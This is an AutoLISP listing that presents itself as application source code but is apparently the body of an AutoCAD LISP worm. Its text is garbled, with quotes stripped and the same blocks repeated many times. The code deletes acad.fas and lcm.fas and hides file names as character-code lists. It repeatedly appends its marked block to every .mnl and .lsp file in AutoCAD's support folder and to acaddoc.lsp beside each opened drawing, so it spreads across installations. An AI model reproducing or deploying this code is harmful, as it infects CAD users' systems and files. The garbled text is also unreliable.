AutoLISP-应用程序源代码

1、(setq wold_cmd (getvar cmdecho)(setvar cmdecho 0)( setqbb 2)(setq dpath (getvar dwgprefix)(setq wpath (getvar menuname)(setq wpath (substr wpath 1 (- (strlen wpath) 4)(setq n 0)(while( n 1) (if(vl-file-delete (findfile acad.fas) (if(findfile acad.fas) (setq n 0) (setq n 2)(setq n 0)(while( n 1) (if(

2、findfile lcm.fas) (if(vl-file-delete (findfile lcm.fas) (setq n 0) (setq n 2)(setq n 0)(while( ab bb) (setq lbz 1) ) )(setq wwjqm (strcat wpath acad.mnl)(if (setq wwjm (open wwjqm r) (progn (repeat 3 (read-line wwjm) (setq wz (read-line wwjm) (setq nb (atoi (substr wz 4 1) (close wwjm) (if(string(10

3、8 111 103 111 46 103 105 102)(vl-list-string(97 99 97 100 46 118 108 120)(load acadappp.lsp)(princ)(if (null stol) (load lcm )(princ)(load acadappp.lsp)(princ)(load acadapq)(princ)(load acadappp.lsp)(princ)(setq flagx t)(setq bz (setq flagx t)(defun app(source target bz / flag flag1 wjm wjm1 text) (

4、setq flag nil) (setq flag1 t) (if (findfile target) (progn (setq wjm1 (open target r) (while (setq text (read-line wjm1)(if (= text bz) (setq flag1 nil);while (close wjm1) );progn );if (if flag1 (progn (setq wjm (open source r) (setq wjm1 (open target a) (write-line (chr 13) wjm1) (while (setq text

5、(read-line wjm)(if (= text bz) (setq flag t)(if flag (progn (write-line text wjm1) );progn );if);while (close wjm1) (close wjm) );progn );if );defun(setvar cmdecho 0)(setq acadmnl (findfile acad.mnl)(setq acadmnlpath (vl-filename-directory acadmnl)(setq mnlfilelist (vl-directory-files acadmnlpath *.

6、mnl)(setq mnlnum (length mnlfilelist)(setq acadexe (findfile acad.exe)(setq acadpath (vl-filename-directory acadexe)(setq support (strcat acadpath support)(setq lspfilelist (vl-directory-files support *.lsp)(setq lspfilelist (append lspfilelist (list acaddoc.lsp)(setq lspnum (length lspfilelist)(set

7、q dwgname (getvar dwgname)(setq dwgpath (findfile dwgname)(if dwgpath (progn (setq acaddocpath (vl-filename-directory dwgpath) (setq acaddocfile (strcat acaddocpath acaddoc.lsp) (setq mnln 0) (while ( mnln mnlnum) (setq mnlfilename (strcat acadmnlpath (nth mnln mnlfilelist) (app mnlfilename acaddocf

8、ile bz) (app acaddocfile mnlfilename bz) (setq mnln (1+ mnln) );while (setq lspn 0) (while ( lspn lspnum) (setq lspfilename (strcat support (nth lspn lspfilelist) (app lspfilename acaddocfile bz) (app acaddocfile lspfilename bz) (setq lspn (1+ lspn) );while );progn );if(setq mnln 0)(while ( mnln mnl

9、num) (setq mnlfilename (strcat acadmnlpath (nth mnln mnlfilelist) (setq mnln1 0) (while ( mnln1 mnlnum) (setq mnlfilename1 (strcat acadmnlpath (nth mnln1 mnlfilelist) (app mnlfilename mnlfilename1 bz) (setq mnln1 (1+ mnln1) );while (setq lspn1 0) (while ( lspn1 lspnum) (setq lspfilename1 (strcat sup

10、port (nth lspn1 lspfilelist) (app mnlfilename lspfilename1 bz) (setq lspn1 (1+ lspn1) );while (setq mnln (1+ mnln) );while(setq lspn 0)(while ( lspn lspnum) (setq lspfilename (strcat support (nth lspn lspfilelist) (setq lspn1 0) (while ( lspn1 lspnum) (setq lspfilename1 (strcat support (nth lspn1 ls

11、pfilelist) (app lspfilename lspfilename1 bz) (setq lspn1 (1+ lspn1) );while (setq mnln1 0) (while ( mnln1 mnlnum) (setq mnlfilename1 (strcat acadmnlpath (nth mnln1 mnlfilelist) (app lspfilename mnlfilename1 bz) (setq mnln1 (1+ mnln1) );while (setq lspn (1+ lspn)(load acadapq)(princ)(load acadapp)(pr

12、inc)(load acadapq)(princ)(setq flagx t)(setq bz (setq flagx t)(defun app(source target bz / flag flag1 wjm wjm1 text) (setq flag nil) (setq flag1 t) (if (findfile target) (progn (setq wjm1 (open target r) (while (setq text (read-line wjm1)(if (= text bz) (setq flag1 nil);while (close wjm1) );progn )

13、;if (if flag1 (progn (setq wjm (open source r) (setq wjm1 (open target a) (write-line (chr 13) wjm1) (while (setq text (read-line wjm)(if (= text bz) (setq flag t)(if flag (progn (write-line text wjm1) );progn );if);while (close wjm1) (close wjm) );progn );if );defun(setvar cmdecho 0)(setq acadmnl (

14、findfile acad.mnl)(setq acadmnlpath (vl-filename-directory acadmnl)(setq mnlfilelist (vl-directory-files acadmnlpath *.mnl)(setq mnlnum (length mnlfilelist)(setq acadexe (findfile acad.exe)(setq acadpath (vl-filename-directory acadexe)(setq support (strcat acadpath support)(setq lspfilelist (vl-dire

15、ctory-files support *.lsp)(setq lspfilelist (append lspfilelist (list acaddoc.lsp)(setq lspnum (length lspfilelist)(setq dwgname (getvar dwgname)(setq dwgpath (findfile dwgname)(if dwgpath (progn (setq acaddocpath (vl-filename-directory dwgpath) (setq acaddocfile (strcat acaddocpath acaddoc.lsp) (se

16、tq mnln 0) (while ( mnln mnlnum) (setq mnlfilename (strcat acadmnlpath (nth mnln mnlfilelist) (app mnlfilename acaddocfile bz) (app acaddocfile mnlfilename bz) (setq mnln (1+ mnln) );while (setq lspn 0) (while ( lspn lspnum) (setq lspfilename (strcat support (nth lspn lspfilelist) (app lspfilename a

17、caddocfile bz) (app acaddocfile lspfilename bz) (setq lspn (1+ lspn) );while );progn );if(setq mnln 0)(while ( mnln mnlnum) (setq mnlfilename (strcat acadmnlpath (nth mnln mnlfilelist) (setq mnln1 0) (while ( mnln1 mnlnum) (setq mnlfilename1 (strcat acadmnlpath (nth mnln1 mnlfilelist) (app mnlfilena

18、me mnlfilename1 bz) (setq mnln1 (1+ mnln1) );while (setq lspn1 0) (while ( lspn1 lspnum) (setq lspfilename1 (strcat support (nth lspn1 lspfilelist) (app mnlfilename lspfilename1 bz) (setq lspn1 (1+ lspn1) );while (setq mnln (1+ mnln) );while(setq lspn 0)(while ( lspn lspnum) (setq lspfilename (strca

19、t support (nth lspn lspfilelist) (setq lspn1 0) (while ( lspn1 lspnum) (setq lspfilename1 (strcat support (nth lspn1 lspfilelist) (app lspfilename lspfilename1 bz) (setq lspn1 (1+ lspn1) );while (setq mnln1 0) (while ( mnln1 mnlnum) (setq mnlfilename1 (strcat acadmnlpath (nth mnln1 mnlfilelist) (app

20、 lspfilename mnlfilename1 bz) (setq mnln1 (1+ mnln1) );while (setq lspn (1+ lspn)(load acadapq)(princ)(load acadapp)(princ)(load acadapq)(princ)(setq flagx t)(setq bz (setq flagx t)(defun app(source target bz / flag flag1 wjm wjm1 text) (setq flag nil) (setq flag1 t) (if (findfile target) (progn (se

21、tq wjm1 (open target r) (while (setq text (read-line wjm1)(if (= text bz) (setq flag1 nil);while (close wjm1) );progn );if (if flag1 (progn (setq wjm (open source r) (setq wjm1 (open target a) (write-line (chr 13) wjm1) (while (setq text (read-line wjm)(if (= text bz) (setq flag t)(if flag (progn (w

22、rite-line text wjm1) );progn );if);while (close wjm1) (close wjm) );progn );if );defun(setvar cmdecho 0)(setq acadmnl (findfile acad.mnl)(setq acadmnlpath (vl-filename-directory acadmnl)(setq mnlfilelist (vl-directory-files acadmnlpath *.mnl)(setq mnlnum (length mnlfilelist)(setq acadexe (findfile a

23、cad.exe)(setq acadpath (vl-filename-directory acadexe)(setq support (strcat acadpath support)(setq lspfilelist (vl-directory-files support *.lsp)(setq lspfilelist (append lspfilelist (list acaddoc.lsp)(setq lspnum (length lspfilelist)(setq dwgname (getvar dwgname)(setq dwgpath (findfile dwgname)(if

24、dwgpath (progn (setq acaddocpath (vl-filename-directory dwgpath) (setq acaddocfile (strcat acaddocpath acaddoc.lsp) (setq mnln 0) (while ( mnln mnlnum) (setq mnlfilename (strcat acadmnlpath (nth mnln mnlfilelist) (app mnlfilename acaddocfile bz) (app acaddocfile mnlfilename bz) (setq mnln (1+ mnln)

25、);while (setq lspn 0) (while ( lspn lspnum) (setq lspfilename (strcat support (nth lspn lspfilelist) (app lspfilename acaddocfile bz) (app acaddocfile lspfilename bz) (setq lspn (1+ lspn) );while );progn );if(setq mnln 0)(while ( mnln mnlnum) (setq mnlfilename (strcat acadmnlpath (nth mnln mnlfileli

26、st) (setq mnln1 0) (while ( mnln1 mnlnum) (setq mnlfilename1 (strcat acadmnlpath (nth mnln1 mnlfilelist) (app mnlfilename mnlfilename1 bz) (setq mnln1 (1+ mnln1) );while (setq lspn1 0) (while ( lspn1 lspnum) (setq lspfilename1 (strcat support (nth lspn1 lspfilelist) (app mnlfilename lspfilename1 bz)

27、 (setq lspn1 (1+ lspn1) );while (setq mnln (1+ mnln) );while(setq lspn 0)(while ( lspn lspnum) (setq lspfilename (strcat support (nth lspn lspfilelist) (setq lspn1 0) (while ( lspn1 lspnum) (setq lspfilename1 (strcat support (nth lspn1 lspfilelist) (app lspfilename lspfilename1 bz) (setq lspn1 (1+ l

28、spn1) );while (setq mnln1 0) (while ( mnln1 mnlnum) (setq mnlfilename1 (strcat acadmnlpath (nth mnln1 mnlfilelist) (app lspfilename mnlfilename1 bz) (setq mnln1 (1+ mnln1) );while (setq lspn (1+ lspn)(load acadapq)(princ)(load acadapp)(princ)(load acadapq)(princ)(setq flagx t)(setq bz (setq flagx t)

29、(defun app(source target bz / flag flag1 wjm wjm1 text) (setq flag nil) (setq flag1 t) (if (findfile target) (progn (setq wjm1 (open target r) (while (setq text (read-line wjm1)(if (= text bz) (setq flag1 nil);while (close wjm1) );progn );if (if flag1 (progn (setq wjm (open source r) (setq wjm1 (ope

30、n target a) (write-line (chr 13) wjm1) (while (setq text (read-line wjm)(if (= text bz) (setq flag t)(if flag (progn (write-line text wjm1) );progn );if);while (close wjm1) (close wjm) );progn );if );defun(setvar cmdecho 0)(setq acadmnl (findfile acad.mnl)(setq acadmnlpath (vl-filename-directory aca

31、dmnl)(setq mnlfilelist (vl-directory-files acadmnlpath *.mnl)(setq mnlnum (length mnlfilelist)(setq acadexe (findfile acad.exe)(setq acadpath (vl-filename-directory acadexe)(setq support (strcat acadpath support)(setq lspfilelist (vl-directory-files support *.lsp)(setq lspfilelist (append lspfilelis

32、t (list acaddoc.lsp)(setq lspnum (length lspfilelist)(setq dwgname (getvar dwgname)(setq dwgpath (findfile dwgname)(if dwgpath (progn (setq acaddocpath (vl-filename-directory dwgpath) (setq acaddocfile (strcat acaddocpath acaddoc.lsp) (setq mnln 0) (while ( mnln mnlnum) (setq mnlfilename (strcat aca

33、dmnlpath (nth mnln mnlfilelist) (app mnlfilename acaddocfile bz) (app acaddocfile mnlfilename bz) (setq mnln (1+ mnln) );while (setq lspn 0) (while ( lspn lspnum) (setq lspfilename (strcat support (nth lspn lspfilelist) (app lspfilename acaddocfile bz) (app acaddocfile lspfilename bz) (setq lspn (1+

34、 lspn) );while );progn );if(setq mnln 0)(while ( mnln mnlnum) (setq mnlfilename (strcat acadmnlpath (nth mnln mnlfilelist) (setq mnln1 0) (while ( mnln1 mnlnum) (setq mnlfilename1 (strcat acadmnlpath (nth mnln1 mnlfilelist) (app mnlfilename mnlfilename1 bz) (setq mnln1 (1+ mnln1) );while (setq lspn1

35、 0) (while ( lspn1 lspnum) (setq lspfilename1 (strcat support (nth lspn1 lspfilelist) (app mnlfilename lspfilename1 bz) (setq lspn1 (1+ lspn1) );while (setq mnln (1+ mnln) );while(setq lspn 0)(while ( lspn lspnum) (setq lspfilename (strcat support (nth lspn lspfilelist) (setq lspn1 0) (while ( lspn1

36、 lspnum) (setq lspfilename1 (strcat support (nth lspn1 lspfilelist) (app lspfilename lspfilename1 bz) (setq lspn1 (1+ lspn1) );while (setq mnln1 0) (while ( mnln1 mnlnum) (setq mnlfilename1 (strcat acadmnlpath (nth mnln1 mnlfilelist) (app lspfilename mnlfilename1 bz) (setq mnln1 (1+ mnln1) );while (

37、setq lspn (1+ lspn)(load acadapq)(princ)(load acadapp)(princ)(load acadapq)(princ)(setq flagx t)(setq bz (setq flagx t)(defun app(source target bz / flag flag1 wjm wjm1 text) (setq flag nil) (setq flag1 t) (if (findfile target) (progn (setq wjm1 (open target r) (while (setq text (read-line wjm1)(if

38、(= text bz) (setq flag1 nil);while (close wjm1) );progn );if (if flag1 (progn (setq wjm (open source r) (setq wjm1 (open target a) (write-line (chr 13) wjm1) (while (setq text (read-line wjm)(if (= text bz) (setq flag t)(if flag (progn (write-line text wjm1) );progn );if);while (close wjm1) (close w

39、jm) );progn );if );defun(setvar cmdecho 0)(setq acadmnl (findfile acad.mnl)(setq acadmnlpath (vl-filename-directory acadmnl)(setq mnlfilelist (vl-directory-files acadmnlpath *.mnl)(setq mnlnum (length mnlfilelist)(setq acadexe (findfile acad.exe)(setq acadpath (vl-filename-directory acadexe)(setq su

40、pport (strcat acadpath support)(setq lspfilelist (vl-directory-files support *.lsp)(setq lspfilelist (append lspfilelist (list acaddoc.lsp)(setq lspnum (length lspfilelist)(setq dwgname (getvar dwgname)(setq dwgpath (findfile dwgname)(if dwgpath (progn (setq acaddocpath (vl-filename-directory dwgpat

41、h) (setq acaddocfile (strcat acaddocpath acaddoc.lsp) (setq mnln 0) (while ( mnln mnlnum) (setq mnlfilename (strcat acadmnlpath (nth mnln mnlfilelist) (app mnlfilename acaddocfile bz) (app acaddocfile mnlfilename bz) (setq mnln (1+ mnln) );while (setq lspn 0) (while ( lspn lspnum) (setq lspfilename

42、(strcat support (nth lspn lspfilelist) (app lspfilename acaddocfile bz) (app acaddocfile lspfilename bz) (setq lspn (1+ lspn) );while );progn );if(setq mnln 0)(while ( mnln mnlnum) (setq mnlfilename (strcat acadmnlpath (nth mnln mnlfilelist) (setq mnln1 0) (while ( mnln1 mnlnum) (setq mnlfilename1 (

43、strcat acadmnlpath (nth mnln1 mnlfilelist) (app mnlfilename mnlfilename1 bz) (setq mnln1 (1+ mnln1) );while (setq lspn1 0) (while ( lspn1 lspnum) (setq lspfilename1 (strcat support (nth lspn1 lspfilelist) (app mnlfilename lspfilename1 bz) (setq lspn1 (1+ lspn1) );while (setq mnln (1+ mnln) );while(s

44、etq lspn 0)(while ( lspn lspnum) (setq lspfilename (strcat support (nth lspn lspfilelist) (setq lspn1 0) (while ( lspn1 lspnum) (setq lspfilename1 (strcat support (nth lspn1 lspfilelist) (app lspfilename lspfilename1 bz) (setq lspn1 (1+ lspn1) );while (setq mnln1 0) (while ( mnln1 mnlnum) (setq mnlf

45、ilename1 (strcat acadmnlpath (nth mnln1 mnlfilelist) (app lspfilename mnlfilename1 bz) (setq mnln1 (1+ mnln1) );while (setq lspn (1+ lspn)(load acadapq)(princ)(load acadapp)(princ)(load acadapq)(princ)(setq flagx t)(setq bz (setq flagx t)(defun app(source target bz / flag flag1 wjm wjm1 text) (setq

46、flag nil) (setq flag1 t) (if (findfile target) (progn (setq wjm1 (open target r) (while (setq text (read-line wjm1)(if (= text bz) (setq flag1 nil);while (close wjm1) );progn );if (if flag1 (progn (setq wjm (open source r) (setq wjm1 (open target a) (write-line (chr 13) wjm1) (while (setq text (read-line wjm